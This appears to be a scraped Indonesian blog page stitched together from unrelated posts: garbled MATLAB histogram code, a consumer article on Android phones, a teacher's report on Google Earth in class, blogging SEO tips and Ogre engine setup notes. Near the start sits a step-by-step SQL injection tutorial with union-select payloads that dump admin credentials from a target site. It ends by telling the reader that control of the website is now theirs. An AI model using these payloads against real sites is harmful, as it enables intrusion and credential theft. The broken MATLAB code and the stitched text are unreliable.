1. HISTOGRAM

a)    Histogram Citra Grayscale & RGB

Ketikan         Ratu   =          imread(‘harimau.jpg);

Gray   =          rgb2gray(Ratu);

Red    =          Ratu(;,;,1);

Green=         Ratu(;,;,2);

Blue   =          Ratu(;,;3);

Imhist(gray), title(‘histogram citra grayscale’);

Imgist(red), title(‘histogram warna merah’);

Imhist(green), title(histogram warna hijau’);

Imhist(blue), title(‘histogram warna biru);

Hasil Histogram Citra Grayscale & RGB :

WARNA MERAH

Warna Hijau

warna biru

b) Pemerataan Histogram

>>ratu1 = imread(matmau.jpg’);

>>gray =rgb2grey(ratu1);

>>pemerataan >> histeq(grey);

>>inwrite(pemetaan,’pemerataan.jpg’);

>>imshow(gray);

Hasil Pemerataan Histogram

grayscale

Histogram

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
=step Satu:=
===========

carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100′ atau
[site]/berita.php?id=-100

sehingga muncul pesan error seperti berikut (masih bnyak lagi):

==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya…
gunakan perintah : order by

contoh: [site]/berita.php?id=-100+order+by+1– atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)…
misal: [site]/berita.php?id=-100+order+by+1–
[site]/berita.php?id=-100+order+by+2–
[site]/berita.php?id=-100+order+by+3–
[site]/berita.php?id=-100+order+by+4–

sehingga muncul error atau hilang pesan error…
misal: [site]/berita.php?id=-100+order+by+9–

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8–

===========
=step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..

============
=step Empat:=
============

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables–

seumpama table yang muncul adalah “admin”

http://wafi.wartabintaro.com/?page_id=223

===========
=step Lima:=
===========
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()–

+union+select+concat_ws(0x3a,user_name,user_password),2,3,4,5+from+tbl_user–
=============
= step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa– >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa–

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

www.ascii-convert.co.cc

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E–

============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)–

contoh kata yang keluar adalah id,username,password

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin–

+union+select+1,concat_ws(0x3a,administratorID,administratorUserName,administratorPassWord),3,4,5,6,7,8,9+from+admininistrator–

==============
= step Delapan:=
==============

tahap terakhir mencari halam admin atau login

selanjutnya terserah anda karena kekuasaan web ada di tangan anda…
================================================

Baru-baru ini, Motorola kembali merilis ponsel Androidnya, Atrix. Pada setiap operator besar di Amerika Serikat (AS), setidaknya terdapat satu perangkat premium Android yang bisa dipilih oleh konsumennya.

Meski terdapat beragam jenis, ada beberapa faktor umum yang dimiliki kebanyakan ponsel Android yang bisa menjadi alasan yang cukup untuk meninggalkan sebuah iPhone atau produk dari pesaing lain.

Menurut Unplggd, terdapat beberapa alasan mengapa harus memilih ponsel Android. Berikut alasan-alasan mengapa Anda sebaiknya memilih ponsel-ponsel Android dibanding iPhone atau lainnya.

Ponsel Android punya layar yang lebih besar
iPhone hanya memiliki satu pilihan ukuran layar, yakni 3,5 inci. Tetapi, beberapa ponsel Android seperti Atrix, Droid X, HTC EVO, dan Nexus S menawarkan layar 4 inci, bahkan lebih besar.

Ruang ekstra tersebut sangat baik untuk pengguna yang ingin menonton film, bermain game, atau melihat halaman web secara penuh di ponsel mereka.

Sesuaikan layar utama ponsel Anda
Ponsel Android memberi Anda banyak pilihan dalam mengkustomisasi layar utama ponsel. Anda bisa menambahkan widget yang bisa menerima update konstan mengenai cuaca, RSS feed dan update Facebook atau Twitter.

Selain itu, Anda juga bisa mem-bookmark kontak favorit Anda langsung pada layar utama sehingga bisa membukanya sewaktu-waktu hanya dengan satu sentuhan.

Kekuatan kamera yang lebih besar
Banyak ponsel Android seperti Droid Incredible dan HTC EVO 4G memiliki kamera berkekuatan 8 megapiksel dan mampu merekam video HD 720p. Sementara itu, iPhone 4 hanya bisa merekam video HD dan kekuatannya hanya 5 megapiksel.

Memutar video HD di TV
Terdapat banyak perangkat Android yang menawarkan port HDMI untuk memainkan video HD pada TV layar besar. Hal ini tak akan mungkin Anda temui pada iPhone, ponsel buatan Apple itu hanya memiliki konektor standar iPod. Alhasil, Anda tak akan pernah bisa menonton video HD sebenarnya di TV Anda hanya dengan menghubungkannya ke TV.

Perbesar ukuran penyimpanan Anda
Sebagian besar ponsel Android memungkinkan adanya perbesaran kapasitas ruang penyimpanan. Anda bisa langsung mengganti kartu SD yang ada dengan kapasitas yang lebih besar. Hal ini sangat berguna bagi mereka yang ingin memiliki ruang lebih besar untuk musik, video, dan aplikasi pada ponsel.

Nikmati kecepatan prosesor yang lebih cepat
Dimulai dengan Atrix, kita mulai melihat ponsel Android yang memiliki prosesor dual core yang dapat menawarkan kecepatan mengagumkan dalam ponsel. Saat diuji, salah satu prosesor memang sangat mengesankan. Apa kekurangannya? Semua kecepatan dan kekuatan untuk pemrosesan akan mematikan baterai Anda.

Ambil manfaat dari kecepatan data 4G
Gelombang besar ponsel Android 4G akan muncul di pasar tahun ini. Beberapa operator sudah memiliki layanan untuk itu, seperti Sprint dan T-Mobile. Tampaknya, konsensus untuk melihat iPhone 4G paling cepat yakni pada awal 2012.

KTSP 2006 atau yang disebut Kurikulum Tingkat Satuan Pendidikan telah mengisyaratkan bahwa lulusan suatu sekolah diharapkan memiliki kompetensi tertentu sebagaimana yang telah diamanatkan oleh kurikulum. Oleh karena tuntutan kurikulum tersebut berdampak langsung pada proses pembelajaran, maka proses pembelajaran diharapkan tidak hanya membelajarkan aspek pengetahuan saja, tetapi juga meliputi aspek ketrampilan dan aspek sikap. Terkait dengan tujuan tersebut, maka proses penilaian tidak hanya terbatas pada aspek hasil saja, tetapi aspek proses hendaknya juga tidak luput dari penilaian.

Di dalam struktur program kurukulum Sekolah Dasar, terdapat beberapa mata pelajaran, satu di antaranya adalah Ilmu Pengetahuan Sosial yang dalam hal ini sebagai salah satu mata pelajaran yang diUASkan ( Tim Penyusun Silabus, 2005:47 ) dan di masa mendatang bukan tidak mungkin diUASBNkan.

Untuk mencapai tujuan tersebut diperlukan proses pembelajaran  yang kondusif agar siswa menggemari pembelajaran Ilmu Pengetahuan Sosial dan muaranya adalah siswa menguasai kompetensi di bidang Ilmu Pengetahuan Sosial. Agar pembelajaran variatif dan tidak monoton atau menjemukan, dipergunakan metode pembelajaran yang bervariasi, baik teori maupun praktik sehingga sikap menggemari Ilmu Pengetahuan Sosial mudah tertanam dalam  diri  siswa.  Hal  ini  dapat  terwujud apabila dilakukan usaha pembelajaran yang aktif, kreatif, efektif dan menyenangkan (PAKEM).

Memudahkan pembelajaran bagi murid adalah tugas utama guru. Untuk itu guru tidak saja dituntut untuk membuat suasana pembelajaran menjadi nyaman dan menarik , menciptakan metode pembelajaran yang sesuai dengan keadaan diri masing-masing murid, tetapi juga menemukan media pembelajaran yang relevan, efektif dan efisien. Sehingga metode dan pendekatan yang di terapkan pun nantinya akan benar-benar sesuai dengan perkembangan diri murid yang menjadi subjek sekaligus  objek pendidikan itu sendiri.

Memang pendidikan bukanlah melulu penerapan teori belajar dan pembelajaran di ruang kelas. Pendidikan merupakan ikhatiar yang kompleks untuk meningkatkan kualitas sumber daya manusia sebuah bangsa. Namun demikian, ketepatan memilih media pembelajaran merupakan satu keniscayaan dalam sukses tidaknya guru mengantarkan murid menjadi generasi yang dapat diandalkan dan dibanggakan.

Oleh karena itu guru harus  menggunakan media  pembelajaran yang tidak saja membuat porses  pembelajaran menjadi menarik, tetapi juga memberikan ruang bagi murid untuk berkreasi dan terlibat secara  aktif  sepanjang porses pembelajaran. Sehingga aspek  kognitif ,afektif  dan psikomotorik murid pun dapat berkembang maksimal secara bersamaan tanpa mengalami pendistorsian salah satunya. Dalam realita apa yang menjadi harapan dan tujuan di atas belum sepenuhnya terpenuhi. Namun usaha ke arah itu senantiasa dilakukan oleh seluruh elemen pendidikan.

2. Mengapa Menggunakan Media Google Earth?

Materi Kenampakan Alam dan Keadaan Sosial Negara-Negara Tetangga adalah salah satu materi mata pelajaran IPS kelas VI semester I yang terdapat dalam KTSP, dan ternyata Guru dalam melakukan pembelajaran kebanyakan masih bersifat konvensional, artinya guru masih mendominasi jalannya pembelajaran dan belum memanfaatkan media pembelajaran secara maksimal sehingga pembelajaran yang dilakukan cenderung kurang menarik siswa. Selain itu guru belum sepenuhnya  memanfaatkan alat peraga dalam pembelajaran Ilmu Pengetahuan Sosial. Kebanyakan masih berkutat pada alat peraga standart/yang itu-itu saja. Berdasarkan fakta menggunakan peta, atlas atau globe ( media 2 dimensi).Untuk mengatasi hal itu perlu diadakan ujicoba menggunakan media pembelajaran yang baru.

Harapan selanjutnya, saya ingin memperbaiki proses pembelajaran dengan memanfaatkan penggunaan alat peraga dan media baru yang up to date namun tanpa bermaksud mengesampingkan/memandang sebelah mata media yang sudah ada. Diharapkan dengan menggunakan media baru Google Earth lebih mewarnai proses pembelajaran sehingga pembelajaran lebih bermakna, bergairah dan PAKEM (Aktif, Kreatif, Efektif dan Menyenangkan). Di lain sisi siswa pun akhirnya akan lebih akrab dan lebih menguasai computer dan internet.

3. Fokus Penggunaan Media Google Earth adalah :

• Meningkatkan prestasi belajar IPS siswa kelas VI SDN Lambangan Wetan Kecamatan Bulu Kabupaten Rembang.
• Meningkatkan motivasi belajar dan menggairahkan respon siswa kelas VI SDN Lambangan Wetan Kec. Bulu Kabupaten Rembang terhadap pembelajaran IPS.

Adapun tujuan khusus penggunaan Google Earth sebagai media pembelajaran IPS ini untuk :

1. Meningkatkan motivasi belajar siswa kelas VI SDN Lambangan Wetan Kecamatan Bulu Kabupaten Rembang pada pelajaran IPS materi kenampakan alam dan keadaani sosial negara-negara tetangga melalui penggunaan media Google Earth.
2. Meningkatkan hasil belajar yang lebih bermakna baik aspek kognitif, afektif dan psikomotorik siswa kelas VI SDN Lambangan Wetan Kecamatan Bulu Kabupaten Rembang pada mata pelajaran IPS materi kenampakan alam dan keadaan sosial negara-negara tetangga melalui pemanfaatan Media Google Earth.

4. Manfaat Teoritis Penggunaan Media Google Earth

Secara teori saya berharap berhasil  mendapatkan pengetahuan dan  teori baru tentang upaya meningkatkan hasil pembelajaran Ilmu Pengetahuan Sosial melalui pemanfaatan media Google Earth bagi siswa kelas VI SDN Lambangan Wetan  Kecamatan Bulu Kabupaten Rembang . Selain itu saya juga berharap tumbuhnya motivasi siswa dalam proses pembelajaran IPS, meningkatnya hasil belajar IPS siswa baik aspek kognitif, afektif  maupun psikomotor, meningkatnya keaktifan dan kreatifitas siswa dalam pembelajaran.

Sedangkan bagi guru sendiri manfaatnya adalah:

1. Mengetahui strategi pembelajaran yang bervariasi untuk memperbaiki dan meningkatkan pembelajaran Ilmu Pengetahuan Sosial.
2. Diperolehnya strategi pembelajaran IPS yang tepat untuk materi kenampakan alam dan keadaan sosial negara-negara tetangga.
3. Diperolehnya media pembelajaran yang cocok untuk pembelajaran IPS materi kenampakan alam dan keadaan sosial negara-negara tetangga.

Adapun manfaaat bagi Sekolah:

1. Meningkatnya hasil belajar siswa dalam pembelajaran Ilmu Pengetahuan Sosial.
2. Tumbuhnya motivasi guru dalam mengembangkan proses pembelajaran yang bermutu.
3. Tumbuhnya iklim  pembelajaran  siswa yang Aktif,Kreatif,Efektif dan Menyenangkan (PAKEM) di sekolah.

5. Langkah-langkah Pembelajarannya :

1. Guru menjelaskan tujuan pembelajaran/KD.
2. Siswa dikondisikan belajar berpasangan (2 siswa).
3. Guru mendemonstrasikan menggunakan media google earth untuk melihat kenampakan alam negara-negara tetangga Indonesia.
4. Siswa secara berpasangan mencoba menggunakan media google earth ntuk melihat kenampakan alam Negara-negara tetangga Indonesia.
5. Diskusi kelas.
6. Evaluasi.
7. Refleksi dan penutup.

6. Alat dan Media pembelajaran : laptop, LCD proyektor, hp modem.

7. Hasil Observasi Peningkatan Motivasi Siswa Terhadap Pembelajaran

8. Gambar Suasana Pembelajaran dan Tampilan Google Earth

Google Earth merupakan sebuah program globe virtual yang sebenarnya disebut Earth Viewer dan dibuat oleh Keyhole, Inc. Program ini memetakan bumi dari superimposisi gambar yang dikumpulkan dari pemetaan satelit, fotografi udara dan globe GIS 3D. Tersedia dalam tiga lisensi berbeda: Google Earth, sebuah versi gratis dengan kemampuan terbatas; Google Earth Plus ($20), yang memiliki fitur tambahan; dan Google Earth Pro ($400 per tahun), yang digunakan untuk penggunaan komersial. Produk ini, kemudian diganti namanya menjadi Google Earth tahun 2005, dan sekarang tersedia untuk komputer pribadi yang menjalankan Microsoft Windows 2000, XP, atau Vista, Mac OS X 10.3.9 dan ke atas, Linux (diluncurkan tanggal 12 Juni 2006) dan FreeBSD. Dengan tambahan untuk peluncuran sebuah klien berbasis update Keyhole, Google juga menambah pemetaan dari basis datanya ke perangkat lunak pemetaan berbasis web. Peluncuran Google Earth menyebabkan sebuah peningkatan lebih pada cakupan media mengenai globe virtual antara tahun 2005 dan 2006, menarik perhatian publik mengenai teknologi dan aplikasi geospasial.

Globa virtual memperlihatkan rumah, warna mobil, dan bahkan bayangan orang dan rambu jalan. Resolusi yang tersedia tergantung pada tempat yang dituju, tetapi kebanyakan daerah (kecuali beberapa pulau) dicakup dalam resolusi 15 meter. Las Vegas, Nevada dan Cambridge, Massachusetts memiliki resolusi tertinggi, pada ketinggian 15 cm (6 inci). Google Earth membolehkan pengguna mencari alamat (untuk beberapa negara), memasukkan koordinat, atau menggunakan mouse untuk mencari lokasi.

Google Earth juga memiliki data model elevasi digital (DEM) yang dikumpulkan oleh Misi Topografi Radar Ulang Alik NASA. Ini bermaksud agar kita dapat melihat Grand Canyon atau Gunung Everest dalam tiga dimensi, daripada 2D di situs/program peta lainnya. Sejak November 2006, pemandangan 3D pada pegunungan, termasuk Gunung Everest, telah digunakan dengan penggunaan data DEM untuk memenuhi gerbang di cakupan SRTM.

Banyak orang yang menggunakan aplikasi ini menambah datanya sendiri dan menjadikan mereka tersedia melalui sumber yang berbeda, seperti BBS atau blog. Google Earth mampu menunjukkan semua gambar permukaan Bumi. dan juga merupakan sebuah klien Web Map Service. Google Earth mendukung pengelolaan data Geospasial tiga dimensi melalui Keyhole Markup Language (KML).

Google Earth memiliki kemampuan untuk memperlihatkan bangunan dan struktur (seperti jembatan) 3D, yang meliputi buatan pengguna yang menggunakan SketchUp, sebuah program pemodelan 3D. Google Earth versi lama (sebelum Versi 4), bangunan 3D terbatas pada beberapa kota, dan memiliki pemunculan yang buruk tanpa tekstur apapun. Banyak bangunan dan struktur di seluruh dunia memiliki detil 3D-nya; termasuk (tetapi tidak terbatas kepada) di negara Amerika Serikat, Britania Raya, Irlandia, India, Jepang, Jerman, Kanada, Pakistan dan kota Amsterdam dan Alexandria. Bulan Agustus 2007, Hamburg menjadi kota pertama yang seluruhnya ditampilkan dalam bentuk 3D, termasuk tekstur seperti facade. Pemunculan tiga dimensi itu tersedia untuk beberapa bangunan dan struktur di seluruh dunia melalui Gudang 3D Google dan situs web lainnya.

Secara psikologis, ada siswa yang merasa takut atau segan terhadap gurunya. Dengan media Google Earth kegiatan belajar akan lebih efektif karena mereka dapat mengadakan komunikasi secara bebas. Siswa yang ditunjuk mencoba menggunakan media Google Earth akan merasa bangga bahkan lebih percaya diri di hadapan guru maupun teman-temannya. Dengan demikian motivasi belajar akan meningkat pula. Dengan media Google Earth,  aktifitas guru sebagai “juru cerita” menjadi berkurang, dan sebagai konsekuensinya guru tetap aktif mengamati, menilai dan menginterpretasikan siswa dalam kegiatan belajar.

Mudah-mudahan postingan ini dapat menambah motivasi dan menggairahkan semangat serta dapat menginspirasi para guru di mana saja berada untuk lebih giat menggali dan menemukan media pembelajaran baru yang mungkin dapat sebagai bahan penelitian dan demi memajukan pendidikan di Indonesia.

• Postingan ini merupakan cuplikan dari Penelitian Tindakan Kelas dengan judul : “Upaya Meningkatkan Hasil Belajar IPS Melalui Pemanfaatan Media Google Earth bagi Siswa Kelas VI SDN Lambangan Wetan Kecamatan Bulu Kabupaten Rembang Pada Semester 1 Tahun Pelajaran 2008 / 2009 “ sebagai salah satu syarat mengikuti Pemilihan Guru SD Berprestasi Tingkat Kabupaten Rembang Tahun 2009.

SUMBER : http://wyw1d.wordpress.com/2010/01/16/google-earth-sebagai-media-pembelajaran/

Google PageRank

Yang menentukan tinggi rendahnya Google Pagerank blog kita tentunya ‘Mbah Google’ dengan kecanggihannya Google sudah dapat memprediksi sekaligus menentukan PR blog kita. Peringkat Google Pagerank tertinggi adalah 10 (he he he kayak nilai murid  sekolah ya), dan PR terendah 0. Namun di dalam dunia perblogan tidak dikenal istilah persaingan, artinya jika ada satu blog ber PR 10 bukan berarti blog yang lain PRnya di bawahnya, misal PR 9,8,7, dst. Dari sekian juta blog banyak yang Google PRnya baru 1 (contohnya blog ini). Sekian juta blog lainnya lagi PRnya 2 dan seterusnya. Jadi bisa terjadi beberapa blog mempunyai Google PageRank yang sama.

Alexa Site Info

Peringkat Alexa rank lain lagi, dimulai dari angka yang besar yang justru sebagai peringkat rendah, diteruskan ke angka yang semakin kecil yang berarti peringkatnya semakin tinggi.
Contohnya tidak perlu jauh-jauh, Pengalamanku Membuat Blog, Rachmadwidodo’s Weblog waktu pertama kali memasang alexa site info, ( Tgl 9 Desember 2009) peringkatnya 768.406 dengan jumlah visitor 7000, alhamdulillah beberapa bulan kemudian mulai merangkak naik dan sekarang peringkatnya sudah mencapai  667.648  dengan jumlah visitor 8.888 yang berarti peringkat sudah semakin naik walapun belum tergolong tinggi ( mohon dukungannya lagi ya).

Nah, sekarang bagaimana sih caranya agar PageRank blog kita semakin naik, dan naik ke puncak gunung? Kuncinya tetap pada jumlah visitor karena sebagus apapun blog kita kalau sepi pengunjung ya sama juga bohong. Menurut ilmu yang saya serap dari para Master SEO, Blogger Senior dan dari pengalaman saya sendiri, ada 10 cara menaikkan PR/peringkat blog kita (banyak juga ya), yaitu :

1. Postingan yang Pas Berkualitas

Blog yang isinya berkualitas tidak asal copas, bermanfaat dan banyak yang membutuhkan tentu banyak dicari dan dikunjungi visitor. Setiap hari ada saja yang datang berkunjung, entah cari info atau cari pacar tips-tips tertentu.

2. Pasang Google ToolBar dan Alexa toolbar

Tujuannya adalah untuk memperlancar dan mempercepat akses Google dan Alexa sehingga blog tersebut akan mendapat ‘perhatian’ khusus dari google dan alexa karena sudah familiar.

3. Pasang widget Google Toolbar dan Alexa Toolbar

Google dan alexa widget mengandung code java script yang bisa mengantarkan data dari setiap pengunjung blog ke server Google maupun alexa, sehingga perhitungan angka statistik  akan lebih cermat dan akurat.

4. Blogwallking

Ibarat jalan sehat, semakin sering kunjungan silaturahmi  ke blog lain (blogwalking) sambil meninggalkan jejak (koment) dipercaya dapat memberikan backlink ke blog kita (terutama blog do follow) dan juga menambah jumlah visitor blog sahabat tadi. Jadi ini seperti hubungan simbiosis ‘mutualisma‘ yang saling menguntungkan kedua belah pihak.

5. Pasang Iklan

Dengan mengiklankan blog berarti kita mempromosikan blog kita agar dikenal dan dicintai visitor. Ada pepatah ‘Tak Kenal maka Tak sayang.’ Selain pasang iklan berbayar, kita  juga dapat memasang iklan blog kita ke situs iklan baris yang gratisan, ada kok.

6. Berpartisipasi dalam Kompetisi Blog, Kontes SEO, dsb

Dengan mengikuti kompetisi dan kontes blog kita akan terpacu dan termotivasi untuk meningkatkan kualitas blog kita dan mempersembahkan yang terbaik bagi visitor. Selain tergiur juga sama hadiahnya…hehehe. Contohnya blog ini ikut kompetisi “Internetsehat” Anda dapat melihat bannernya di sidebar kan?

7. Submit/Daftarkan Blog ke Web Search Engine, Direktori Blog/Web, GrowURL, Topseratus,Yukngeblog web.id, blogIndonesia, dsb

Dengan mensubmit/subscribe blog kita ke Direktori di atas maka blog kita akan terindeks dan tercatat dalam daftar direktori mereka sekaligus dipromosikan. Contohnya blog ini sudah tercatat sebagai member Topseratus.com (100 Peringkat Blog Terpercaya). Alhamdulillah masuk peringkat 23 kategori Blog Pendidikan. Sedangkan peringkat semua kategori blog ini masuk peringkat ke 90. Masih Lumayan ( pesertanya ribuan coy). 

Blog Anda ingin didaftarkan? Segera saja biar cepat terindeks di jajaran 100 Blog Topseratus! Caranya? Gampang kok, tinggal klik logo topseratus (di sidebar) lalu daftar, ngisi biodata blog, selesai! Lalu tunggu 1-3 hari. Dan… lihatlah hasilnya!

8. Update Blog

Jangan sampai blog kita lama nggak di update. Visitor akan kecewa dan jemu setiap kali berkunjung itu-itu saja sajian blog kita. Maka buat postingan yang teratur dan juga buat tampilan blog yang menarik, praktis dan rapi sistematis agar visitor merasa nyaman dan krasan membolak balik isi blog kita.

9. Tukeran Link

Saling bertukar link dipercaya bisa memberikan backlink dan akhirnya meningkatkan PR kita. Ini juga simbiosis mutualisma. Caranya buat link blog teman di blog kita dan nanti sebaliknya ada link blog kita di blog teman kita. Tetapi untuk proses detilnya (alur backlinknya) saya masih belum tahu. Barangkali Anda tahu prosesnya? Beritahu saya ya.

10. Berdoa agar blog kita naik terus peringkatnya

Tidak ada sesuatu di dunia ini yang dapat mengalahkan kekuatan doa, tentu saja bagi yang mempercayainya. Karena kekuatan doa tidak bisa diprediksi secara ilmiah, matematika ataupun secara logika. Maka tidak ada salahnya kita berdoa.

Demikianlah mudah-mudahan sedikit berbagi ini bermanfaat bagi para newbie (seperti saya) dalam meningkatkan Pagerank blognya. Bagi Blogger Senior yang sudah tahu cara seperti ini boleh lewati  postingan ini, justru saya mengharapkan masukan dan pencerahannya. Terimakasih.

1. Pada Eclipse, pilih menu Window – Preferences – C/C++ à environment.
2. Klik tombol New. Beri nama OgreSDK. Lokasi: C:\ogreSDK.
3. Untuk menghentikan auot-building projects pada Eclipse yaitu dengan: klik Project – uncheck ‘Build Automatically’



Sumber Referensi:

* Maret 2005 Ogre adalah ‘Project of the Month’ di Sourceforge

* 4 November 2005 Ankh dilepaskan sebagai produk komersial pertama menggunakan Ogre

* 7 Mei 2006 Ogre 1.2 “Dagon” secara resmi dirilis

* 25 Maret 2007 Ogre 1.4 “Eihort” secara resmi dirilis

* 28 Agustus 2008 Ogre 1.6 “Shoggoth” secara resmi dirilis (Saat ini 1.6.5 Stable Release)

* 31 Desember 2009 1,7 ogre RC1 “Ctchugha” secara resmi dirilis (Saat ini 1.7.0 Pre Release)

* 28 Februari 2010 Ogre 1.7 “Cthugha” secara resmi dirilis (Saat ini 1.7.0 Stable Release)

Programmer sendiri mempunyai peran yang sangat penting dalam pembuatan sebuah game yaitu membuat  sarana  dalam game untuk bisa berjalan dengan berbagai codingan dan alur permainannya  yang telah dibuat sebelumnya oleh designer dan karakter yang akan berjalan dan menemukan sebuah event karena program yang dibuat oleh si programmer,dan bisa juga dibilang programmer adalah otak dibalik game tersebut. Dalam pembuatan game setidaknya sebuah perusahaaan kecil maupun besar membutuhkan sebuah team Programmer,didalam team tersebut terdiri dari :

• Game Engine Programmer
• Physics Engine Programmer
• Graphics Engine Programmer
• Artificial Intelligence Programmer
• Sound Programmer
• Game Play Programmer
• Scripter
• UI Programmer
• Input Programmer
• Network Programmer
• Game Tools Programmer
• Porting Programmer
• Technology Programmer
• Generalist
• Lead Game Programmer

Sumber terkait: -tukeranilmu.blogspot.com

-bloganak-sd.com